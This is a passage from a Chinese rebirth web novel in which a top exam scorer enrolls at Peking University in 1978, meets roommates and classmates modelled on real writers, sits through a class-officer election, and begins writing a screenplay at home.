她车后座上的被褥快掉地下了,胸前挂一个大挎包,车把上挂着俩搪瓷盆,搪瓷盆里还有铝制饭盒和搪瓷缸子。 姑娘一手扶着被褥,一手稳着车把,前腿弓后腿撑,狼狈得很呐。 高远都看乐了,连忙踢下车撑子,快步走过去,先把自行车接过来,说:“你去后面,把被褥重新叠整齐,打包带捆结实一些。” “哦哦,好的,多谢您了同学。”姑娘很听招呼,嘿嘿笑着按高远的吩咐重新叠被褥去了。 手脚麻利地叠整齐捆结实了,姑娘又嘿嘿笑了起来,一脸憨厚的样子。 “本地人?”高远把装在大号网兜里的脸盆从车把上拿下来,将车子还给她后问道。 “听出来了,口音这么明显吗?”羊角辫知道面前的男生把脸盆兜解下来是帮她的忙,对他初生好感。 “当然明显了,只有咱Bj人说话才‘您、您’的。” “您也是本地的?” “显然也是的。” 姑娘推着车子跟高远并肩前行,落落大方地笑着说:“认识一下呗,我叫査建英,77级中文系文学专业的新生。” “哟,还真是同学啊。本人高远,也是77级中文系文学专业的新生。”高远眨着眼做自我介绍。 嗯,我认识你。 小查嘛,著名作家,旅美华人中响当当的人物。 听了高远的自我介绍,査建英倒吸一口凉气,眨着明亮的大眼睛直钩望着高远,说:“是不是啊?开学报到第一天就跟状元郎偶遇了,我运气这么好的吗?” 高远看出来了,这个姑娘有点二儿。 但高远很喜欢她开朗的性格,哈哈一笑说道:“不要怀疑,你运气就是这么好。” 査建英也朗声大笑,“我怎么觉得高远你有点不要脸啊。” “这都被你看穿了,姑娘目光如炬啊。” “嘿嘿……这话我爱听。” “采访一下你,此时此刻,你有什么感想?” 査建英一本正经道:“特想掐自己一下。” 高远又笑了。 査建英严肃道:“你别笑啊,真的,感觉自己前一天还在地里干活儿呢,怎么第二天就成大学生了,还是北大。” “你是知青?” “昂,我在京郊中阿人民友好公社下辛堡村二队插队,干了半年,也不知道我是不是最后一批下乡插队的知青。” 高远说:“估计应该是吧。” 査建英一笑,说道:“不说这个了,先去报到。” 从南门进入,北大著名的“一塔湖图”就在这附近。 两人顺利找到中文系的报到点,递上入学通知书。 负责接待学生报到的老师先看了看査建英的通知书,做好登记后问她道:“户口和粮食关系不迁到学校里来吗?” 小查一撩额前的刘海,骄傲地说:“我Bj人!” 老师没好气地说:“哦,Bj人啊,你不强调我还以为你是山顶洞人呢。” 小查:“……” 高远:“哈哈哈哈……” 老师怒视他一眼,拿起他的入学通知书看了看,然后抬起头,又站起身,递上一只手热情地说道:“高远同学,欢迎你来北大就读。” 高远伸手跟他握了握,笑着说道:“能被北大这座历史悠久的学府录取,是我的荣幸,今后请老师多多关照。” 老师轻声说道:“没问题,招生办的彩华老师交代过了,你有任何生活上的困难,可以随时找我们解决。哦,对了,我姓吴,是后勤处的。” 高远又说:“感谢吴老师的关照。” 小查看傻了,北大的老师们这么现实的吗? 高考状元就会被特殊照顾,普通学生就任嘛不是? 随即,姑娘俩眼珠儿一转,心里打定了主意,今后这四年,我要跟着高状元混了。 状元吃肉我喝汤,状元指挥我放枪。 坚决站在状元郎身旁。 高远若是知道她内心的想法,一定会称赞她一句:有眼光。 第38章 一宿舍牛人 中文系迎接新生报到这个点上,并不只有吴老师。 吴老师只是带队老师,负责给新生们讲解入学手续该如何办理,应该去哪个部门办哪些手续的是大二大三的师哥师姐们。 结果人家连问都没问高远的户口和粮食关系是否转到学校来,就给他放行了。 一般情况下,选择将户口和粮食关系迁移到学校大户头上来的,以外地学生为主。 这年头儿,有本地粮票和全国粮票的区分。 本地粮票只能在当地使用,全国粮票才是你无论走到哪里都不愁饭吃的硬通货。 因此,同学们只有把户口和粮食关系转到学校里来,起码能兑换成京城本地粮票。 当然,学校也不强求同学们非得转户口,转粮食关系,采取自愿原则。 京城这帮土著大多会选择将户口和粮食关系留在户籍地。 更何况高远刚转移过一次了,从新开路街道迁回了钢铁学院,再转一次就完全没那个必要了。 更让高远开心的是,这年头上大学不光不用交学费和住宿费,每个月国家还给每一名普通学生补助合计19块5毛钱的块钱助学金和副食补贴。 参加工作后考取大学的学生除外。 两人办完了手续。 一个师哥看了看新生登记表,对高远说道:“高远同学,你的宿舍在32楼302室,一间宿舍6个人,现在只差你没到了。” 说完,递给他一枚校徽。 高远把校徽接过来,郑重别在胸口,对师哥说了声多谢,又道:“我这就去跟室友们认识认识。” 吴老师点着头,叮嘱道:“一定要跟大家搞好团结啊。” “没问题。”高远搞人际关系是有一套的,他一点都不担心跟室友们相处不来,甚至迫不及待想快点见到他们。 “小查,你也先回宿舍安置吧,完了中午咱们在大饭厅见面。”高远把査建英装脸盆的兜子系在铺盖卷捆绳上,然后笑着说道。 査建英爽快地说好,向高远摆摆手,推着自行车奔38楼。 32楼是58年建成启用的灰砖简易楼,透着一股子岁月的沧桑。 紧邻着教授住宅大院燕南园。 高远踢下车撑子,将自行车停好上了锁,一手拎着铺盖卷一手提着帆布包走进宿舍楼,先向宿管大爷出示了入学通知书,得到大爷允许后方才奔三楼而去。 三楼被文学系全部霸占了。 走廊里有不少同学端着脸盆去水房洗衣服,也有同学手拿洗漱用品去洗澡。 高远暗自观察着他们,发现大家脸上都洋溢着笑容。 他再度感慨:年轻真好。 找到302,推门进入。 见宿舍里或站或坐着五大金刚,高远满脸阳光灿烂跟大家打招呼:“你们好啊,小弟高远,也被分到302了,初来乍到,请各位多多关照。” 五个人听到开门声后就齐刷刷望过去,见高远走进宿舍后先做起了自我介绍,都忍不住乐了。 “高远你好,久闻大名了,大家伙儿一直盼着见见你这个状元呢。我叫杨迎明,有机会跟你同寝一室我很高兴。”杨迎明走过来,向高远伸出手。 这么老派吗? 高远看看他,个头儿不高,又黑又瘦,沧桑的脸庞,年纪应该不小了。 伸手跟他握了握,高远回之以微笑,道:“不敢当不敢当,状元那是蒙的,杨……大哥过誉了。” 杨迎明哈哈一笑,说:“你叫我大哥还真没叫错,我29了,是扩招被录取的,考进来之前在市文化局工作,有固定收入,已经成家,还有个女儿。” 高远一点都不觉得突兀,现阶段这种情况太正常了。 毕竟去年刚刚恢复的高考,共有13个年级的学生同考。 从66级到78级,同学与同学之间差个十几岁的情况在各家高校里屡见不鲜。 高远嘿嘿一笑,说道:“杨大哥是本地人啊,您帮我介绍介绍其他四位哥哥呗。” 他打眼一瞧,这个宿舍里大概率要数自个儿最年轻了。 杨迎明顺手把他手里的铺盖卷接过来,往东南角铁架子床的下铺上一放,笑道:“大家都自我介绍一下吧。” 坐在椅子上的一国字脸男子先开口说道:“我叫陈建功,跟老杨同岁,考进北大前是矿务局木城涧煤矿的采掘工人。” 高远眯眼瞧着他,这位牛,别看他说得云淡风轻,现如今已经有了些许名气。 他在73年就开始进行文学创作,有几篇著作被几家杂志社刊登。 后世还曾担任过作家出版社社长和作协副主席这般高大上的职务。 “陈大哥你好。”高远跟他打声招呼。 陈建功笑了笑,对这个小老弟很友善的样子。 一个戴着眼镜的矮胖子对高远言简意赅:“我叫梁左。” 高远看看他,嘿嘿,我还能不认识你? 这位就不用多介绍了,父亲是《人民x报》的副总编辑范荣康,母亲是著名作家谌容,弟弟梁天。 妹妹是知三当三,插足白云大妈和英家大小子婚姻的破鞋欢。 一家子牛人。 “你好。”高远语气很淡。 梁左望着他,若有所思的样子。 其他人只知道高远是京城高考状元,他比别人知道的多一些。 大年初三,父母带着他去北影厂给汪厂长拜年。 汪阳偶然提起来,年前厂里来了个17岁的小状元,这小状元创作的一个剧本厂里买下来了,准备拍部影片。 范荣康笑着问了句,这个小状元可是叫高远? 汪阳说是。 范荣康点点头说,那就不奇怪了,这个小状元文笔了得,他的高考作文被我们报纸刊登了。 汪阳说,这小子被北大中文系录取了,马上就要和你家老大成为同学了。 得知高远也要去北大中文系就读时,梁左还挺期待跟他见面的。 17岁就能独立创作剧本了,还让北影厂看中了,这是个什么人物? 如今见高远态度冷淡,梁左一时没回过神来。 高远倒也不是态度冷淡,只是觉得大家萍水相逢,没必要太过热情。 另一个戴眼镜的家伙介绍自己叫左永邦,今年31了。 坐在上铺身材高大的那个家伙咧嘴笑道:“高远你好,我叫葛兆光,老家是贵州一个小县城的,就比你早来了一晚。 我昨晚被学校的大巴车从京城站直接拉到了32楼来,推开门这帮家伙们都睡了,心说,得,我也睡吧。 结果一觉醒来就听到满屋的京片子,我迷迷糊糊定睛一看,好嘛,一屋子全是本地人。 我还琢磨着,这最后一个来报到的总不至于也那么巧吧? 结果,又来一个本地人。” 高远被他这话逗乐了,“我也没想到这么巧。” 他心说,这个宿舍全是牛人啊。 除了左永邦他没啥印象外,葛兆光他也多少听过一些,他后来成为了复旦大学文史研究院及历史学系的资深教授。 杨迎明说道:“好了,介绍也介绍完了,高远,你来得晚,先把床铺整理好吧。来,我给你搭把手。” 高远摸出烟来散了一圈,宿舍六个人,没一个不抽烟的,一包烟只够分三轮。 大家对高远的印象更好了,都凑过来七手八脚帮他铺床。 高远心惊胆战,你们一个个叼着烟,一不小心再把我的铺盖卷点了,我可就欲哭无泪了。 好在悲剧并没有发生。 室友们帮高远把被褥铺好后,也临近中午了。 杨迎明拍拍巴掌,说道:“各位,时间差不多了,吃饭去吧。” 高远看出来了,他在302宿舍很有些威望。 舍友们各自拿了搪瓷缸子,或是铝制饭盒往外面走。 高远拉开包,找出他的饭盒,边走边问杨迎明道:“杨大哥,您是哪个专业的?” 北大中文系,全称叫做Bj大学中国文学系。 中文系下设三个专业,即:文学专业、新闻专业以及古典文献专业。 杨迎明一笑,道:“我是新闻专业的。” 又指指葛兆光,说:“这小子是古典文献专业的,他自个儿说,之前都没听说过这个专业,连学啥都不清楚。” 葛兆光闻言停住脚步等了两人片刻,见他俩追上来后才说道:“我今天一早打听清楚了,古典文学专业被称之为‘出土文物’,课程有目录学、版本学、校勘学、音韵学等等。 这个专业特别怪,每搁四年才招一次生,每次招生人数还有限。” 高远惊讶道:“那岂不是上无师哥师姐,下无学弟学妹吗?” 葛兆光叹声气,说道:“可不是咋的,这个专业简直就是边缘学科。不像你们文学专业,今年招了49人,新闻专业更厉害,加上扩招生,整整70人。” “你们专业招了多少人啊?”高远好奇地问道。 陈建功接过话头说:“14个男生,5个女生,拢共19人,也就是一个加强班的编制。” 高远又乐了,这帮家伙们都很幽默啊。 一行人穿过三角地,走进大饭厅。 高远没注意,他被两道清冷的目光锁定了。 高远居然成了全京状元,居然被北大录取了。 望着高远的背影,乔珊心里五味杂陈。 第39章 气都气饱了 也可以说,乔珊的情绪很复杂。 她当初对高远是看不上的,是鄙视的。 却没想到,高远这家伙,不飞则已,一飞上天了。 想起高远在考场上的表现乔珊就恨得牙根儿发痒。 本姑娘还天真地以为你一道题都不会呢。 结果,丫是早早答完题,感觉无聊才提前交的卷啊。 从父亲嘴里得知高远的高考成绩后,乔珊目瞪口呆,死活不信。 又从其他同学那儿听说后,气得乔珊好几天食不知味夜不安寝的。 同时,心里对高远的看法也发生了一点点改变。 这家伙也不是个一无是处的人嘛。 乔珊眼珠儿一转,先去窗口打饭。 大饭厅很大。 这当然是句废话。 为什么叫大饭厅呢? 1952年,高校院系调整,北大从红沙滩迁至燕园。 地盘大了,人也多了,在什么时代吃饭都是头等大事。 为解决师生用餐需求,学校领导在三角地附近修建了一大一小两个食堂。 分别赐予两个很俗气的名字,即:大饭厅和小饭厅。 大饭厅可容纳几千人同时就餐,被大家伙儿戏称为:远东第一大饭厅。 这个饭厅不光具备用餐功能,挪开餐桌就成了举办演出、会议、讲大课、放电影的礼堂。 还有一个鲜明的特点,大饭厅里只有餐桌不配餐椅。 无论老师还是学生,一律站着吃饭。 蹲着也行,但你得抱着饭缸子吃。 大学生也吃定量,每人每月36斤,粗粮细粮各一半。 大饭厅的餐票共分四种,是学校后勤印制的,买菜或副食的叫菜票,买面食的叫面票,米票买米饭,粮票买粗粮。 区分得很细致。 另外,购买主食除了饭票也要另交一些钱,面票每斤2毛,米票每斤1毛6,粮票每斤1毛2。 除了大小两饭厅,这时候北大正在建设学四食堂,也就是后世的燕南美食。 高远趁着没开学时来北大溜达了一圈,发现学四食堂马上竣工了,大概率今年就能投入使用。 现如今,大饭厅的菜品并不丰富,可供同学们选择的种类不算多。 无非就是清汤寡水的白菜汤、萝卜汤,土豆汤。 荤菜有红烧肉、辣椒炒肉丝、鱼香肉丝、宫保鸡丁。 多少沾点荤腥的也有,比如说西红柿炒鸡蛋和著名的锅塌豆腐。 大饭厅里人乌泱乌泱的,每个打饭的窗口都排着长队。 高远和室友们刚站好。 啪! 他的肩膀被人拍了一下。 扭头一看,高远乐了,“小查,你胳膊够长的呀,居然能拍着我的肩膀头儿。” 査建英哈哈大笑,“我伸到后背上去反手能摸到耳朵你信不信?” “这就有点儿吹了吧?” “拿着。” 査建英将搪瓷缸子放高远怀里,给他表演了一个反手磨耳朵。 高远服了,“天赋异禀啊你。” 査建英又嘿嘿嘿傻笑起来。 她把身边的姑娘拉过来,对高远说:“给你介绍一下,我室友王晓萍。晓萍,这位才子就是我跟你说过的高远高状元。” 王晓萍落落大方向高远问候道:“高远你好,很高兴认识你。” 端详她一眼,高远心说,我也认识你,郑晓龙的老婆嘛。 “我也很高兴能和您成为同学。”高远笑着回应她道。 几位室友都蒙了。 小高这么受欢迎吗? 刚来报到就受到婆子的关注了,人家还主动找他说话。 哎呀,你小子魅力无限呐。 高远身前的葛兆光扯了扯他的袖子低声问道:“这两位是……” 梁左隐藏着眼镜后面的招子也精光爆闪。 高远笑着说:“我给大家介绍一下,这位姑娘叫査建英,是我们文学专业的同学,这位是王晓萍同学,也跟我一个专业,没错吧?” 王晓萍点微笑,“没错,我也是文学专业的新生。” 高远又给二位姑娘介绍了同寝室的其他五位认识。 他也暗暗观察了一下,发现302寝室这几位挺有意思的。 杨迎明自我介绍时主动坦白了,他有了老婆孩儿,所以对这两位姑娘表现得很淡然。 陈建功跟杨迎明同年的,看样子没结婚,但人很稳重,冲俩姑娘点点头就算打过了招呼。 岁数最大的左永邦俩眼珠子滴溜溜乱转,忽左忽右色眯眯打探着两位姑娘的胸脯。 高远不觉蹙了蹙眉,这个人的眼珠子太灵活了,一副没见过女人的样子,让高远感觉挺讨厌的。 反倒是相对年轻的葛兆光和梁左,望向姑娘的目光纯净自然,认识后,大大方方跟两人说着话。 打了饭的同学们各自找位置吃饭了。 很快轮到了高远几人。 高远看了看,打了二两米饭,一份红烧肉和一个四喜丸子。 花了一张米票外加1毛6分钱,两张菜票外加4毛钱。 吃顿荤的才花了5毛6,这时候的物价真便宜啊。 他见室友们已经给他占好了位置,便走过去放下饭盒,取出筷子笑着说:“大家一起吃啊,别客气。” 室友们看看他饭盒里的菜,心里直呼奢侈啊,却没一个人动筷。 小查和王晓萍也打完饭过来扎堆儿。 “哇,高远儿你的生活标准也太高了,居然打了两个肉菜。”说着,査建英挑起筷子伸向饭盒。 眨眼间,四喜丸子消失了。 王晓萍拽她一下,轻声提醒道:“过分了啊。” 査建英嘻嘻一笑,道:“没事儿,一看高远儿就是个不缺钱的主儿……来,我分你一半儿。” 她这个儿化音把大家都逗乐了。 高远贼稀罕这姑娘爽利的性格,又夹了块油亮油亮的红烧肉放进她的搪瓷缸子里,笑着说:“多吃点儿哈。” 査建英一口米饭一口肉,边吃边点头,嘟囔道:“谢谢,放心,我不会跟你客气的。” “这位同学,麻烦你让一让,腾个地方。” 一张明媚的俏脸出现在大家眼前时,初步形成的小团伙成员们均不由得愣了一下。 高远一看,立刻收起笑容,“乔珊,你怎么阴魂不散的?” 乔珊同样看着他,说:“你想多了,纯属巧合,不信你瞧瞧,哪还有位置啊?” 高远四下里瞧了瞧,空位置不说没有,但挤挤怎么可能容不下一个人。 他懒得跟乔珊纠缠,把饭盒一推,对杨迎明说道:“杨哥,我先回寝室了,你吃完,麻烦你帮我把饭盒带回去。” 说完他转身就走。 杨迎明回过神来,“诶,诶,你还没吃饭呢,吃完再走啊。” “不吃了,气也气饱了!”高远头也不回地摆摆手,身影很快消失在大家的视线中。 见他如避蛇蝎般的态度,乔珊委屈得双眼通红,在大家不解的目光下,她抄起饭盒羞愧地跑了。 姑娘边跑边想道:我就这么不招你待见吗? 我都主动来向你示好了,你怎么对我如此冷漠? 对高远而言,这个女人是不能招惹的,见了她,有多远躲多远一准儿没错。 他奶奶的,怎么就忘记她也在北大就读了呢? 貌似是……经济系?还是法律系来着? 她什么系跟自己有毛的关系啊。 惹不起我还躲不起吗? 高远听杨迎明说,报完到下午就没什么事儿了,不过班主任赵建福老师说,让大家晚上去教室开班会。 反正下午自由活动,郁闷的高远干脆蹬上自行车回了家。 到家后第一件事情就是煮面条吃。 一想到那碗油亮的红烧肉被几个同学瓜分了,高远更郁闷了。 他吃了两大碗面条。 吃完后,他一觉睡到五点钟,这才不紧不慢往学校里赶。 离得近,骑自行车十多分钟就到了。 高远没去寝室,在校园里逛了起来,晃荡了半个小时才去学一食堂简单吃了个饭。 为什么不去大饭厅呢? 故意躲乔珊呗。 七点钟,他准时进了文学专业的教室中。 一个三十多岁的男子站在讲台上笑眯眯看着他。 “高远同学吧?我是你的班主任赵建福。”赵建福主动跟他打招呼。 高远快步走到赵建福身前,笑着说道:“赵老师好,我是高远。” 赵建福点头温和地笑道:“我看过你的照片,所以认出你来了,小伙子不错,挺精神的。找个位置坐吧,我们马上要开会了。” 高远说声好,转身见大教室里只坐了不到1/4,就是说,只有自己班级的同学在此开会。 最后排的杨迎明冲他摆着手。 高远会意,快步走过去,在杨迎明身边坐下。 他进来后就吸引了全班同学的目光。 “那就是高远啊,听说他是高考状元啊。” “是他,我们寝室的小查和晓萍跟他挺熟的,我听小查说,今天中午在大饭厅,有个特漂亮的姑娘……” 这时候,赵建福清清嗓子,说道:“人到齐了,没到的我们也不等了。 首先,欢迎同学们来到北大,来到中国语言文学系文学专业学习。” 教室里响起一阵掌声。 他笑着摆摆手,继续说道:“自我介绍一下,我叫赵建福,是你们的班主任,在未来的四年里,我将会和各位同学朝夕相伴,共同学习进步。 你们是恢复高考后北大招收的第一批学生,这个意义有多深远,有多特殊我就不在这里多强调了。 作为班主任,我对你们的唯一要求是,请同学们珍惜这个来之不易的学习机会,摒弃一切私心杂念,心无旁骛地提高专业课程和文学修养。” 第40章 苏牧是条狗 赵建福在讲台上开大会,高远和杨迎明在座位上开小会。 “杨哥,我们文学专业开班会,你一新闻专业的来凑什么热闹?” 杨迎明嘿嘿笑道:“我提前来侦查一下友邦的情况,虽然咱俩不是一个专业的,但也都属于中文系不是。” 高远翻个白眼儿道:“您还真是好学。” 他四下里瞧了瞧,发现不光新闻专业的几个人过来了,貌似古典文献班也来了几个人。 坐在高远右手边的梁左推推眼镜说道:“别的班都很积极,反倒是咱们班竟然有不来开会的。” 诶,你会说长句儿啊。 你不开口我还以为你是个性格内向的人呢。 高远一笑,低声问他道:“谁这么大胆子,班主任组织召开的第一次班会居然敢不参加?” 梁左把大脑袋往高远那边凑了凑,也轻声说道:“刚才老赵点名了,有个叫刘学红的就没来,老赵问了几个女生,女生说,在寝室里也没见过这个人。 对了,点你名的时候我帮你解释过了。” 高远说声谢谢,又一想,刘学红,哎呀,你也是我同学啊。 他觉得真挺巧的,自个儿的重生改变了一点历史轨迹,拔了高考状元的份,但却没改变刘学红的命运。 不得不说,这也是一种幸运。 讲台上,赵建福继续讲道:“今天把同学们集中过来,是为了选举班长、纪律委员、学习委员、生活委员等几个职务。 有愿意为同学们服务,成为班干部的同学,请走上讲台来,说明要竞选的职位,最好再发表一段竞选宣言,然后全班采取不记名投票的方式,选出咱们班的班干部领导集体来。” 赵建福话音落地,有些同学叽叽喳喳跃跃欲试,有些则心如止水漠不关心。 高远就是漠不关心群体中的一员。 梁左问他:“你打算竞选哪个职位?” 高远看他一眼,摇头道:“哪个职位也没打算竞选。” “为什么啊?” “因为我岁数小,不够格。” 梁左心说,这是什么破理由?岁数小不更应该主动为大哥哥、大姐姐们服好务吗? 高远不这么想,当班干部是最没有意思的一件事,尤其是在这个年代中,同学们都很认真,讲究一个言必行行必果,你真竞选上了,承诺的就要做到。 他想得特透彻,与其把时间浪费到为同学们服务上,我多写几个剧本多挣俩钱儿它不香吗? 当班干部只会影响我挣钱的速度! 再说了,班干部是什么? 班干部就是班主任的狗腿子,是站在广大同学们对立面上的阶级敌人。 得罪人的事儿高远才不干呢。 这时候,老赵又白话开了,“同学们安静一点,听我再讲两句。” 底下瞬间安静。 赵建福朗声说道:“咱们班,也不是说咱们班,学校里所有专业所有班级都存在一个问题,就是同学之间年龄差距巨大。 就说咱班,最大的31岁,最小的如高远同学、苏牧同学、査建英同学这几位应届生,刚年满18岁。 当然,这是因为历史客观原因所造成的,我不说你们也清楚。 我希望,同学们不要受年龄因素影响,要积极踊跃地参与到班干部竞选中来。 也甭觉得抹不开面子,北大的学风包容开放,没人会因为你主动走上讲台竞争班干部而去笑话你自不量力。 另外,我跟你们透点儿实话,将来你们能不能进学生会,在班级里担没担任过班干部是一条硬性考核标准。 好了,废话不多说了,下面请有意愿担任班干部的同学举起手来,我点名后走上讲台,先做自我介绍,然后说出你的竞选宣言。” 陈建功隔着杨迎明对高远说道:“老赵挺会蛊惑人心啊。” 高远乐了,“陈哥不上台竞选个职务吗?” 陈建功愣了下,然后红着脸说:“我还没想好。” 高远怂恿他道:“去竞选班长吧,我们支持你。” 梁左点点头,附和道:“去吧陈哥,鼓足勇气,我们相信你能行的。” 高远瞅瞅他,这小子也够坏的。 陈建功:“你俩真支持我?” 高远狠狠点头:“必须必!” 梁左握紧拳头道:“加油!你能行!” 陈建功猛地举起了手:“老师,我要竞选班长一职!” 所有目光齐刷刷向最后一排看过来。 谁啊,这么大胆子? 看到陈建功高举的手,査建英乐了,对王晓萍说道:“302的陈建功,这老大哥人不错的,咱们支持一下?” 王晓萍笑着说:“没问题啊,反正我跟其他人也不熟,跟302这几个好歹认识,支持一下就支持一下呗。” 她旁边的黄蓓佳诧异地问道:“你俩居然跟男生们提前接上头了,什么时候的事儿啊?” 这也是个牛人。 72年开始尝试文学创作,并发表处女作《补考》。 而后陆续在《中山》《文汇月刊》《明珠文学》《徽上文学》《收获》等刊物上发表中短篇小说和儿童文学作品。 来北大报到前就已经是小有名气的作家了。 王晓萍展颜一笑,低声说道:“今天中午呗,在大饭厅碰到的,建英早上来报到时碰巧和高远走一块儿了……” “不是走一块儿了,是高远帮我一小忙,我俩聊了几句,才知道是同班同学,还挺聊得来,就约好了中午在大饭厅一起吃饭,巧合,都是巧合。”査建英解释道。 瞧你这样子可不像是巧合。 姑娘,矜持点儿,你嘴角都快咧到耳根子上去了。 黄蓓佳笑笑,问道:“就是那个高考状元高远啊?” 査建英点头道:“没错,就是他。” 黄蓓佳往后面看了一眼,“还挺好看的。” “是吧?人也挺仗义,中午他打的两个肉菜,全进小查的肚子里了。”王晓萍同学无情揭露査建英的恶行。 査建英又露出她那标志性的憨笑,“所以啊,他们寝室有人站出来要竞选班长,冲高远的面子,我们也得支持一下啊。你说呢蓓佳?” “没问题。” 黄蓓佳也是个爽快人。 此时,经过赵建福允许的陈建功已经走到了讲台上。 面对全班48位同学,以及其他专业的同学们,陈建功说一点都不紧张那是假的。 但他毕竟年龄摆在这儿了,来北大前又是声名鹊起的文坛新人,很快便调整好情绪。 “同学们好,我叫陈建功,考进北大中文系之前是一名煤矿工人,今年29岁。我站出来竞选班长,主要原因有三点。 首先,我性格沉稳,做事认真负责,有始有终,自认为会成为老师的好帮手。 其次,我有爱心,有担当,关心集体,热爱班级,愿意帮助别人,会成为同学们的好伙伴。 第三,我虽然年龄大了些,但我反而觉得,年龄大也是优势,我会起到模范带头作用,为咱们77级中文系文学专业带个好头。 以上,就是我的竞选宣言。 请同学们支持我,投我一票,谢谢。” 陈建功说完,鞠躬下台,收获一片热烈的掌声。 赵建福也在鼓掌,他微笑着说:“建功同学的演讲声情并茂、言之有物,值得鼓励啊。还有哪位同学愿意跟建功同学竞争一下吗?” 这时候,又有人举起了手,说道:“赵老师,我试一下?” 赵建福点头道:“好,叶君远同学请到讲台上来发表你的演讲。” 高远一看,一个身形消瘦,戴着眼镜,文质彬彬的中年人起身大步走向讲台。 “这哥们儿得三十好几了吧?”他有点惊奇。 梁左点点头,说:“叶君远,就是老赵嘴里咱班年龄最大的那个。去年学校的招生简章里对报考北大的同学年龄有明确要求,不能超过三十周岁。 这位刚好卡在坎儿上,考完入学,今年正好31周。” 高远打趣道:“咱俩都能叫他叔了。” 梁左翻个白眼儿道:“别带上我,只有你够格。” 你还挺较真儿。 高远嘿嘿一笑道:“还有苏牧和小查。” 前排的苏牧回过头来,推推眼镜对高远说道:“高远你好,我是苏牧。” 高远看着这个后世北电文学系的教授,笑着说道:“你好啊小苏,你长得跟苏牧可一点都不像。” 苏牧:什么意思?我完全听不懂。 梁左噗嗤笑了,“高远你也忒损了,小苏,他骂你是狗呢。” 高远搂着梁左的脖子,恶狠狠地说道:“丫挺有见识啊,还知道苏牧是狗,你家养过?” 梁左被他晃的眼镜都掉在桌面上了,低声求饶道:“别晃了,别晃了,晕!” 高远这才松开手。 梁左嘿嘿笑道:“家里书多,我看书杂,尤其喜欢动物学类型的书籍,自然知道苏格兰牧羊犬是个啥玩意儿了。” 高远:“你厉害!” 苏牧反应过来,也笑了,“梁哥说得对,高远你太损了,骂人不带脏字儿。别传出去啊,不然这外号最少得跟我四年。” 高远点头道:“嗯嗯,放心,哥们儿嘴严着呢,肯定不会往外传苏牧是条狗的。” 苏牧捂着脸,说道:“大家已经知道了。” 周围发出一阵库库库的拖拉机声。 讲台上,叶君远已经开始了他煽动性极强的竞选宣言。 虽说高远一个字儿都没听进去,但他善于观察。 他从同学们的表情中就能看出来,这位叶大叔成功赢得了大多数同学的认可。 第41章 宽得太松了 投票结果也验证了高远的判断。 全班48名同学,叶大叔获得了31票。 剩余17票是投给建功老兄的。 陈建功多少有点失落,勉强露出笑容。 高远安慰他道:“没选上也好,有这工夫,多发表几篇文章挣点稿费不好吗?” 陈建功讶异,“你知道我发表过文章?” “很稀奇吗?我又不是没看过《收获》。” “嘿嘿,低调啊,别往外传。” “我们都知道了。”梁左、苏牧等人齐声说道。 班会开了一个多小时,班委会成员各有归属,顺利选出。 高远除了给陈建功投了一票外,梁左投谁他投谁。 反正他认识的人里面也没有站出来参加竞选的。 赵建福宣布:“明天周日,调整休息一天,周一正式开始上课,散会!” 同学们顿作鸟兽散。 回到寝室,高远才有时间好好打量了一下这间屋子。 房间内只在门边有扇不大的窗子,光线完全照不到屋里的大部分地方。 三张铁架子双层床靠三个墙角摆放。 寝室中间,四张三抽桌两两相对,整齐摆放。 书桌后面摆着六把高背木椅。 六个简易储物柜靠南墙摆放。 独立卫生间是没有的。 每层楼有一个厕所,老式冲水的那种,长条形的水泥小便池,上面一根管子往下滴水。 大便池也是凹槽的,蹲位用隔板隔开。 蹲坑的时候那真是:脚踏黄河两岸,手拿秘密文件,前面机枪扫射,后面炮火连天。 寝室里虽然昏暗,暖气却供得足。 房门一关,宛如夏天。 高远明显受照顾了,他的床铺在西南角,上铺是陈建功。 302寝他最小,哥哥们都很关照他。 高远心知肚明也心存感激,洗完脚后又发了一圈烟。 大家伙儿喷云吐雾,不大的寝室很快就烟雾缭绕了。 高远问上铺的陈建功道:“陈哥,课程表发下来没?” 陈建功探着身子说道:“你没看到吗?已经贴在教室墙上了,回头你自个儿抄一份……算了,我抄好了,明天再帮你复制一份。” “别,你借我一份,我自个儿抄就行。”高远笑着说。 陈建功往床的立管里弹弹烟灰,说道:“没问题,时间不早了,抽完这根烟赶紧睡吧。” 高远说好,他看得出来,与班长一职失之交臂,陈建功情绪不高。 次日是个大晴天儿。 高远洗漱完毕后先把课程表抄了,觉得在学校里待着也挺没劲的,跟大家打了声招呼回了家。 他走后,左永邦问道:“高远家离学校很近吗?” 大家面面相觑。 梁左说道:“他家在学院路30号,就隔着几条街。” 左永邦嘀咕道:“学院路30号,那不是钢铁学院的教师公寓楼嘛。” “高远的父亲是钢铁学院的高数老师。” “难怪高远能成为高考状元呢,敢情人家在家里就能吃小灶,比不了啊比不了。” 左永邦这话说得阴阳怪气酸不溜丢。 其他几位看着他,都不觉皱起了眉头来。 高远回到家一看,不出意外,家里没人。 姐姐去北师大报到了,父母忙得脚不沾地。 也好,能安下心来写点东西了。 寝室里人太多,根本静不下心来写点什么。 再说,高远也没打算暴露自己的编剧身份。 他就是故意瞒着大家,闷声发大财比较符合他的性格。 当然,哪天暴露了,他也会干脆利索地承认。 又不是什么见不得人的职业,对吧? 高远回到房间,在书桌前坐下,拿出稿纸钢笔,没着急落笔。 过年期间,他认真考虑过,写个什么故事符合这个时代的特征? 结论是:政治要绝对正确,祖国要绝对热爱,人民要绝对伟大,社会要绝对进步。 简称:四个绝对! 哪怕你描写的是个小人物,也得将这个不起眼的小人物塑造得胸怀大爱。 腊月二十八晚上跟父亲的谈话给高远提供了一个写作方向。 人民教师这个群体可写的故事太多了。 他自然不会去写教师们在运动会期间受到了怎样的冲击。 那跟作死没啥区别。 他即将要写的,是通过一名受到冲击的人民教师的视角,去展现该名教师被下放到偏远农村后,如何克服恶劣的自然和生活环境,用自己掌握的知识,去点亮农村孩童心中明灯的故事。 故事框架已经在高远脑海里成型,主人公也形象也越发饱满。 酝酿片刻后,高远提笔写下第一行文字:1970年秋的一个下午,从京城始发的1163次列车缓缓停靠在中宁县站台,狂风裹挟着黄沙,敲打在刚走下火车的李志远脸上,给他灌了满满一嘴沙子,将他吹得灰头土脸…… 温暖的阳光透过窗子照射进来,照在高远身上,仿佛给他披上了一层金纱。 只要思路开阔,高远的创作速度是非常快的。 临近中午时,他已经写了三千多字。 放下钢笔站起身活动活动,肚子咕了一声。 高远奔厨房,煮了一碗面卧了一个蛋,唏哩呼噜吃完,爽了。 休息了一个小时,起床后继续写。 整整一天没出门,爸妈到家的时候,他已经写了近七千字了。 “你在写故事啊?给我看看呗。”老爸笑着对他说。 